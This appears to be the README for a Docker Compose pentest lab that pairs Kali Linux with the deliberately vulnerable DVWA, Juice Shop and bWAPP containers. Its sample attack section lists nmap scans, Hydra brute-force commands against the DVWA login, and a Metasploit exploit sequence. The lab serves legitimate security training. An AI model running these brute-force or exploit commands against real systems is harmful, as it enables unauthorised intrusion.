🇫🇷 Consultez la version française

Pentest Lab Docker

⚠️ Legal Disclaimer: This project is intended for educational purposes only. Read the DISCLAIMER.md before using it.

Prerequisites

• Docker and Docker Compose installed.

Description

This local pentest lab uses Docker Compose to quickly deploy:

• Kali Linux (with pentest tools)
• DVWA
• OWASP Juice Shop
• bWAPP

All services are connected through a private Docker network pentest-net to allow intercommunication while ensuring environment isolation.

Quick Start

docker-compose up -d

Accessing the Web Applications:

Target	URL	Default login	password
DVWA	http://localhost:8080	admin	password
Juice	http://localhost:3000	aucun
bWAPP	http://localhost:8081	bee	bug

Accessing Kali Linux: :

docker exec -it kali /bin/bash

Install the tools (if not already installed):

bash /root/install-tools.sh

To stop the lab:

docker-compose down

Network

The pentest-net Docker network is automatically created by Docker Compose. It allows the containers to communicate with each other.

Notes

All containers communicate through the pentest-net network. From the Kali container, you can scan or ping targets:

ping dvwa
nmap dvwa
hydra -L users.txt -P passwords.txt http-get://dvwa/login.php

Sample Automated Attacks

Nmap - Basic scan:

nmap -sV -p 80,8080,3000,8081 dvwa juice bWAPP
# or
nmap -sV dvwa

Hydra - HTTP brute-force attack (example):

hydra -l admin -P /usr/share/wordlists/rockyou.txt dvwa http-get /login.php

Metasploit Launch Metasploit and configure a session against a vulnerable target :

msfconsole
use exploit/unix/webapp/dvwa_exec
set RHOST dvwa
set RPORT 80
set USERNAME admin
set PASSWORD password
run

License

Free to use for learning and legal pentesting purposes only.

More: Docker image sources used

Docker Images Used

Application	Docker Image	Source / Documentation
Kali Linux	kalilinux/kali-rolling	Docker Hub
DVWA	vulnerables/web-dvwa	GitHub | Docker Hub
OWASP Juice Shop	bkimminich/juice-shop	GitHub | Docker Hub
bWAPP	raesene/bwapp	SourceForge | Docker Hub

Why these sources?

• Official or widely trusted by the pentest and cybersecurity community.
• Provide a realistic, varied, and isolated environment to practice penetration testing.
• Regularly maintained and updated images (except for bWAPP which is older but stable).

Note :

• Metasploitable is not included due to the lack of an official Docker image.
• Kali uses the official Docker image; tools can be added via script.
• Vulnerable apps are exposed on local ports for easy browser access.